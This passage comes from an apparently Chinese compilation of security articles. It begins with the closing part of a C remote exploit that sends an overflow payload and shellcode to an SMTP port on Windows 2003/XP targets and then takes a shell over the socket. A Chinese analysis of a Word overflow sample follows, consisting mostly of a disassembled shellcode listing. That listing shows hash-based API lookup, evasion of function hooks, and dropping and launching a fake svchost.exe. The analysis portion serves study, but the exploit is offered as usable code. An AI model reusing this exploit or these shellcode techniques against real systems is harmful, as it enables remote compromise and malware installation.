printf(” 3. Windows2003 CN SP1 CALL EAXn“);

printf(” 4. WindowsXP CN SP2 JMP EAXn“);

printf(” 5. TEST RETn“);

}

int main(int argc, char *argv[])

{

unsigned short port = 25;

SOCKET s;

WSADATA WSAData;

if(argc != 4)

{

help(argv[0]);

return 0;

}

if(argc == 4) port = atoi(argv[2]);

GetShellCode();

if (!sh_Len)

{

printf(”[-] Shellcode generate error.n“);

exit(1);

}

printf(”shellcode length is: %d n“,strlen((char *)sh_Buff));

if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)

{

fprintf(stderr, ”[-] WSAStartup failed.n“);

WSACleanup();

exit(1);

}

s = Make_Connection(argv[1], port, 10);

if(s<0)

{

fprintf(stderr, ”[-] connect err.n“);

exit(1);

}

//OS type

int p = 0;

if(argc > 3)

p = atoi(argv[3]);

Make_Payload(p);

//Send our evil Payload

printf(”[+]Sending our Evil Payload.n");

send(s, Payload, sizeof(Payload), 0);

Sleep(100);

// send real shellcode

send(s, magic_shellcode, Magic_Len, 0);

Sleep(1000);

// use same socket to get shell

shell(s);

WSACleanup();

return 1;

}

篇8:Word溢出Shellcode分析

前段时间从朋友处拿到一个Word的溢出样本,看了下,应该是很老的漏洞洞了,Office2003不开补丁有效,打了SP补丁就无效,本时我对这方面研究的不太多,就分析分析当学习,

这里不进溢出的原因、构造什么的,只分析它的Shellcode,它的Shellcode也是有两段的,重点功能在第二段上,里面用到了不少不错的想法,它有以下特点:

1。在Kernel32 模块中查找API用了HASH法,方便并可缩小shellcode体积。

2。里面有一段根据文件大小获得文件句柄的算法很巧妙。

3。Shellcode调用CreateFileA、Winexec时考虑了此函数可能被Hook,从函数开头第5字节开始执行。

07fe6000 55             push   ebp

07fe6001 8bec           mov    ebp,esp

07fe6003 81ec60050000   sub    esp,560h

07fe6009 8bf4           mov    esi,esp

07fe600b e8d8020000     call   07fe62e8

07fe6010 8906           mov    dword ptr [esi],eax //7c800000

07fe6012 895e04         mov    dword ptr [esi+4],ebx

07fe6015 ff36           push   dword ptr [esi]

07fe6017 68a517007c     push   7C0017A5h

07fe601c e8fa020000     call   07fe631b

07fe6021 894608         mov    dword ptr [esi+8],eax//CreateFileA

07fe6024 ff36           push   dword ptr [esi]

07fe6026 681f790ae8     push   0E80A791Fh

07fe602b e8eb020000     call   07fe631b

07fe6030 89460c         mov    dword ptr [esi+0Ch],eax//WriteFile

07fe6033 ff36           push   dword ptr [esi]

07fe6035 68fb97fd0f     push   0FFD97FBh

07fe603a e8dc020000     call   07fe631b

07fe603f 894610         mov    dword ptr [esi+10h],eax//CloseHandle

07fe6042 ff36           push   dword ptr [esi]

07fe6044 6898fe8a0e     push   0E8AFE98h

07fe6049 e8cd020000     call   07fe631b

07fe604e 894614         mov    dword ptr [esi+14h],eax//WinExec

07fe6051 ff36           push   dword ptr [esi]

07fe6053 683b4743dd     push   0DD43473Bh

07fe6058 e8be020000     call   07fe631b

07fe605d 89462c         mov    dword ptr [esi+2Ch],eax//lstrlenA

07fe6060 ff36           push   dword ptr [esi]

07fe6062 68fb499bcb     push   0CB9B49FBh

07fe6067 e8af020000     call   07fe631b

07fe606c 894630         mov    dword ptr [esi+30h],eax//lstrcpyA

07fe606f ff36           push   dword ptr [esi]

07fe6071 683b4673cb     push   0CB73463Bh

07fe6076 e8a0020000     call   07fe631b

07fe607b 894634         mov    dword ptr [esi+34h],eax//lstrcatA

07fe607e ff36           push   dword ptr [esi]

07fe6080 6883b9b578     push   78B5B983h

07fe6085 e891020000     call   07fe631b

07fe608a 894624         mov    dword ptr [esi+24h],eax//TerminateProcess

07fe608d ff36           push   dword ptr [esi]

07fe608f 6833ca8a5b     push   5B8ACA33h

07fe6094 e882020000     call   07fe631b

07fe6099 894628         mov    dword ptr [esi+28h],eax//GetTempPathA

07fe609c ff36           push   dword ptr [esi]

07fe609e 68f94a63c1     push   0C1634AF9h

07fe60a3 e873020000     call   07fe631b

07fe60a8 894638         mov    dword ptr [esi+38h],eax//WideCharToMultiByte

07fe60ab 837e0400       cmp    dword ptr [esi+4],0

07fe60af 0f842b020000   je     07fe62e0

07fe60b5 ff7604         push   dword ptr [esi+4]

07fe60b8 68929cd34f     push   4FD39C92h

07fe60bd e859020000     call   07fe631b

07fe60c2 894640         mov    dword ptr [esi+40h],eax//ZwQueryVirtualMemory

07fe60c5 54             push   esp

07fe60c6 6808020000     push   208h

07fe60cb 8d464c         lea    eax,[esi+4Ch]

07fe60ce 50             push   eax

07fe60cf 6a02           push   2

07fe60d1 ff37           push   dword ptr [edi]

07fe60d3 6aff           push   0FFFFFFFFh

07fe60d5 ff5640         call   dword ptr [esi+40h]//ZwQueryVirtualMemory

07fe60d8 8bc4           mov    eax,esp

07fe60da 6a00           push   0

07fe60dc 6a00           push   0

07fe60de 68ff000000     push   0FFh

07fe60e3 8d9e5c040000   lea    ebx,[esi+45Ch]

07fe60e9 53             push   ebx

07fe60ea 68f0010000     push   1F0h

07fe60ef 8d464c         lea    eax,[esi+4Ch]

07fe60f2 83c008         add    eax,8

07fe60f5 50             push   eax

07fe60f6 6a00           push   0

07fe60f8 6a00           push   0

07fe60fa ff5638         call   dword ptr [esi+38h]//WideCharToMultiByte

07fe60fd 8d9e58030000   lea    ebx,[esi+358h]

07fe6103 53             push   ebx

07fe6104 68ff000000     push   0FFh

07fe6109 ff5628         call   dword ptr [esi+28h]//GetTempPathA

07fe610c 8d9658030000   lea    edx,[esi+358h]

07fe6112 52             push   edx

07fe6113 8d9654020000   lea    edx,[esi+254h]

07fe6119 52             push   edx

07fe611a ff5630         call   dword ptr [esi+30h]//lstrcpyA

07fe611d 8d965c040000   lea    edx,[esi+45Ch]

07fe6123 52             push   edx

07fe6124 ff562c         call   dword ptr [esi+2Ch]//lstrlenA

07fe6127 8bc8           mov    ecx,eax

07fe6129 49             dec    ecx

07fe612a 803c0a5c       cmp    byte ptr [edx+ecx],5Ch

07fe612e 75f9           jne    07fe6129

07fe6130 41             inc    ecx

07fe6131 03d1           add    edx,ecx

07fe6133 52             push   edx

07fe6134 8d9654020000   lea    edx,[esi+254h]

07fe613a 52             push   edx

07fe613b ff5634         call   dword ptr [esi+34h]//lstrcatA

07fe613e 8d9658030000   lea    edx,[esi+358h]

07fe6144 52             push   edx

07fe6145 8d564c         lea    edx,[esi+4Ch]

07fe6148 52             push   edx

07fe6149 ff5630         call   dword ptr [esi+30h]//lstrcpyA

07fe614c ff7704         push   dword ptr [edi+4]//svchost.exe

07fe614f 8d9658030000   lea    edx,[esi+358h]

07fe6155 52             push   edx

07fe6156 ff5634         call   dword ptr [esi+34h]//lstrcatA

07fe6159 8b5704         mov    edx,dword ptr [edi+4]//svchost.exe

07fe615c 8b4718         mov    eax,dword ptr [edi+18h]//strlen(svchost.exe)=b

07fe615f c6040200       mov    byte ptr [edx+eax],0

07fe6163 ff7704         push   dword ptr [edi+4]//svchost.exe

07fe6166 8d564c         lea    edx,[esi+4Ch]

07fe6169 52             push   edx

07fe616a ff5634         call   dword ptr [esi+34h]//lstrcatA

07fe616d 8d464c         lea    eax,[esi+4Ch]

07fe6170 e824010000     call   07fe6299 //调用自己处理过的CreateFileA

07fe6175 894648         mov    dword ptr [esi+48h],eax

07fe6178 8b5708         mov    edx,dword ptr [edi+8] --PE

07fe617b 8a02           mov    al,byte ptr [edx]        --文件内容头两字节有交换

07fe617d 8a6201         mov    ah,byte ptr [edx+1]

07fe6180 8822           mov    byte ptr [edx],ah

07fe6182 884201         mov    byte ptr [edx+1],al

07fe6185 54             push   esp

07fe6186 8d0424         lea    eax,[esp]

07fe6189 6a00           push   0

07fe618b 50             push   eax

07fe618c ff770c         push   dword ptr [edi+0Ch] //0000524c文件大小

07fe618f 52             push   edx                //07fe637e

07fe6190 ff7648         push   dword ptr [esi+48h]

07fe6193 ff560c         call   dword ptr [esi+0Ch] //Write DOCUME~1LANGOU~1LOCALS~1Tempsvchost.exe

07fe6196 5b             pop    ebx

07fe6197 8d8654020000   lea    eax,[esi+254h]

07fe619d e8f7000000     call   07fe6299 //调用自己处理过的CreateFileA

07fe61a2 894644         mov    dword ptr [esi+44h],eax

07fe61a5 8b5710         mov    edx,dword ptr [edi+10h]//这里指向真正的word开头,开头被移位加密

07fe61a8 668b02         mov    ax,word ptr [edx]

07fe61ab 66c1c008       rol    ax,8

07fe61af 668902         mov    word ptr [edx],ax

07fe61b2 668b4202       mov    ax,word ptr [edx+2]

07fe61b6 66c1c008       rol    ax,8

07fe61ba 66894202       mov    word ptr [edx+2],ax

07fe61be 54             push   esp

07fe61bf 8d0424         lea    eax,[esp]

07fe61c2 6a00           push   0

07fe61c4 50             push   eax

07fe61c5 ff7714         push   dword ptr [edi+14h]

07fe61c8 ff7710         push   dword ptr [edi+10h]

07fe61cb ff7644         push   dword ptr [esi+44h]

07fe61ce ff560c         call   dword ptr [esi+0Ch]//WriteFile 写入真正的word

07fe61d1 5b             pop    ebx

07fe61d2 ff7648         push   dword ptr [esi+48h]

07fe61d5 ff5610         call   dword ptr [esi+10h]//CloseHandle

07fe61d8 ff7644         push   dword ptr [esi+44h]

07fe61db ff5610         call   dword ptr [esi+10h]//CloseHandle

07fe61de 8d9e54020000   lea    ebx,[esi+254h]

07fe61e4 53             push   ebx

07fe61e5 ff562c         call   dword ptr [esi+2Ch]//lstrlenA

07fe61e8 c6040322       mov    byte ptr [ebx+eax],22h

07fe61ec c644030100     mov    byte ptr [ebx+eax+1],0

07fe61f1 83eb24         sub    ebx,24h

07fe61f4 3ec743202f712022 mov    dword ptr ds:[ebx+20h],2220712Fh

07fe61fc 3ec7431c202f7720 mov    dword ptr ds:[ebx+1Ch],20772F20h

07fe6204 3ec743182e657865 mov    dword ptr ds:[ebx+18h],6578652Eh

07fe620c 3ec74314776f7264 mov    dword ptr ds:[ebx+14h],64726F77h

07fe6214 3ec743102077696e mov    dword ptr ds:[ebx+10h],6E697720h

07fe621c 3ec7430c74617274 mov    dword ptr ds:[ebx+0Ch],74726174h

07fe6224 3ec743082f632073 mov    dword ptr ds:[ebx+8],7320632Fh

07fe622c 3ec7430465786520 mov    dword ptr ds:[ebx+4],20657865h

07fe6234 3ec703636d642e mov    dword ptr ds:[ebx],2E646D63h

07fe623b e885000000     call   07fe62c5//调用自己处理过防Hook的Winexec

07fe6240 8d9e58030000   lea    ebx,[esi+358h]

07fe6246 e87a000000     call   07fe62c5//调用自己处理过防Hook的Winexec

07fe624b b960000000     mov    ecx,60h

07fe6250 2be1           sub    esp,ecx

07fe6252 8bd7           mov    edx,edi

07fe6254 8bde           mov    ebx,esi

07fe6256 54             push   esp

07fe6257 5f             pop    edi

07fe6258 e80a000000     call   07fe6267 //得到Shellcode的位置

07fe625d 8bf0           mov    esi,eax

07fe625f f3a4           rep movs byte ptr es:[edi],byte ptr [esi]

07fe6261 8bfa           mov    edi,edx

07fe6263 8bf3           mov    esi,ebx

07fe6265 eb18           jmp    07fe627f//运行真实的Word后自身退出

07fe6267 e800000000     call   07fe626c //得到Shellcode的位置

07fe626c 58             pop    eax

07fe626d 83c005         add    eax,5

07fe6270 c3             ret

07fe6271 f3a4           rep movs byte ptr es:[edi],byte ptr [esi]

07fe6273 33c0           xor    eax,eax

07fe6275 8bcb           mov    ecx,ebx

07fe6277 f3aa           rep stos byte ptr es:[edi]

07fe6279 6a00           push   0

07fe627b 6aff           push   0FFFFFFFFh

07fe627d ffd5           call   ebp

07fe627f 8b4f14         mov    ecx,dword ptr [edi+14h]

07fe6282 8b07           mov    eax,dword ptr [edi]

07fe6284 8bd0           mov    edx,eax

07fe6286 03d1           add    edx,ecx

07fe6288 8b5f10         mov    ebx,dword ptr [edi+10h]

07fe628b 03d9           add    ebx,ecx

07fe628d 2bda           sub    ebx,edx

07fe628f 8b6e24         mov    ebp,dword ptr [esi+24h]//TerminateProcess

07fe6292 8b7710         mov    esi,dword ptr [edi+10h]

07fe6295 8b3f           mov    edi,dword ptr [edi]

07fe6297 ffe4           jmp    esp

07fe6299 59             pop    ecx //自己处理过防Hook的CreateFileA

07fe629a 6a00           push   0

07fe629c 6880000000     push   80h

07fe62a1 6a04           push   4

07fe62a3 6a00           push   0

07fe62a5 6a01           push   1

07fe62a7 68000000c0     push   0C0000000h

07fe62ac 50             push   eax

07fe62ad 8b5608         mov    edx,dword ptr [esi+8]//CreateFileA

07fe62b0 83c205         add    edx,5

07fe62b3 803a08         cmp    byte ptr [edx],8

07fe62b6 51             push   ecx

07fe62b7 55             push   ebp

07fe62b8 8bec           mov    ebp,esp

07fe62ba 7402           je     07fe62be

07fe62bc ffe2           jmp    edx

07fe62be 36ff7508       push   dword ptr ss:[ebp+8]

07fe62c2 42             inc    edx

07fe62c3 ffe2           jmp    edx

07fe62c5 59             pop    ecx//自己处理过防Hook的Winexec

07fe62c6 6a00           push   0

07fe62c8 53             push   ebx

07fe62c9 8b5614         mov    edx,dword ptr [esi+14h]//WinExec

07fe62cc 83c205         add    edx,5

07fe62cf 51             push   ecx

07fe62d0 55             push   ebp

07fe62d1 8bec           mov    ebp,esp

07fe62d3 803a54         cmp    byte ptr [edx],54h

07fe62d6 7402           je     07fe62da

07fe62d8 ffe2           jmp    edx

07fe62da 83ec54         sub    esp,54h

07fe62dd 42             inc    edx

07fe62de ffe2           jmp    edx

07fe62e0 6a00           push   0

07fe62e2 6aff           push   0FFFFFFFFh

07fe62e4 ff5624         call   dword ptr [esi+24h]//TerminateProcess

07fe62e7 c3             ret

07fe62e8 55             push   ebp

07fe62e9 56             push   esi

07fe62ea 64a130000000   mov    eax,dword ptr fs:[00000030h]

07fe62f0 85c0           test   eax,eax

07fe62f2 7813           js     07fe6307

07fe62f4 3e8b400c       mov    eax,dword ptr ds:[eax+0Ch]

07fe62f8 3e8b701c       mov    esi,dword ptr ds:[eax+1Ch]

07fe62fc 3e8b5e08       mov    ebx,dword ptr ds:[esi+8]//CreateFileA

07fe6300 ad             lods   dword ptr [esi]

07fe6301 3e8b6808       mov    ebp,dword ptr ds:[eax+8]

07fe6305 eb0d           jmp    07fe6314

07fe6307 3e8b4034       mov    eax,dword ptr ds:[eax+34h]

07fe630b 3e8ba8b8000000 mov    ebp,dword ptr ds:[eax+0B8h]

07fe6312 33db           xor    ebx,ebx

07fe6314 8bc5           mov    eax,ebp

07fe6316 5e             pop    esi

07fe6317 5d             pop    ebp

07fe6318 c20400         ret    4

07fe631b 53             push   ebx

07fe631c 55             push   ebp

07fe631d 56             push   esi

07fe631e 57             push   edi

07fe631f 368b6c2418     mov    ebp,dword ptr ss:[esp+18h]

07fe6324 368b453c       mov    eax,dword ptr ss:[ebp+3Ch]

07fe6328 368b540578     mov    edx,dword ptr ss:[ebp+eax+78h]

07fe632d 03d5           add    edx,ebp

07fe632f 3e8b4a18       mov    ecx,dword ptr ds:[edx+18h]

07fe6333 3e8b5a20       mov    ebx,dword ptr ds:[edx+20h]

07fe6337 03dd           add    ebx,ebp

07fe6339 e338           jecxz  07fe6373

07fe633b 49             dec    ecx

07fe633c 3e8b348b       mov    esi,dword ptr ds:[ebx+ecx*4]

07fe6340 03f5           add    esi,ebp

07fe6342 33ff           xor    edi,edi

07fe6344 fc             cld

07fe6345 33c0           xor    eax,eax

07fe6347 ac             lods   byte ptr [esi]

07fe6348 3ac4           cmp    al,ah

07fe634a 7407           je     07fe6353

07fe634c c1cf0d         ror    edi,0Dh

07fe634f 03f8           add    edi,eax

07fe6351 ebf2           jmp    07fe6345

07fe6353 363b7c2414     cmp    edi,dword ptr ss:[esp+14h]

07fe6358 75df           jne    07fe6339

07fe635a 3e8b5a24       mov    ebx,dword ptr ds:[edx+24h]

07fe635e 03dd           add    ebx,ebp

07fe6360 663e8b0c4b     mov    cx,word ptr ds:[ebx+ecx*2]

07fe6365 3e8b5a1c       mov    ebx,dword ptr ds:[edx+1Ch]

07fe6369 03dd           add    ebx,ebp

07fe636b 3e8b048b       mov    eax,dword ptr ds:[ebx+ecx*4]

07fe636f 03c5           add    eax,ebp

07fe6371 eb02           jmp    07fe6375

07fe6373 33c0           xor    eax,eax

07fe6375 8bd5           mov    edx,ebp

07fe6377 5f             pop    edi

07fe6378 5e             pop    esi

07fe6379 5d             pop    ebp

07fe637a 5b             pop    ebx

07fe637b c20800         ret    8

阅读剩余 0%
本站所有文章资讯、展示的图片素材等内容均为注册用户上传(部分报媒/平媒内容转载自网络合作媒体),仅供学习参考。 用户通过本站上传、发布的任何内容的知识产权归属用户或原始著作权人所有。如有侵犯您的版权,请联系我们反馈本站将在三个工作日内改正。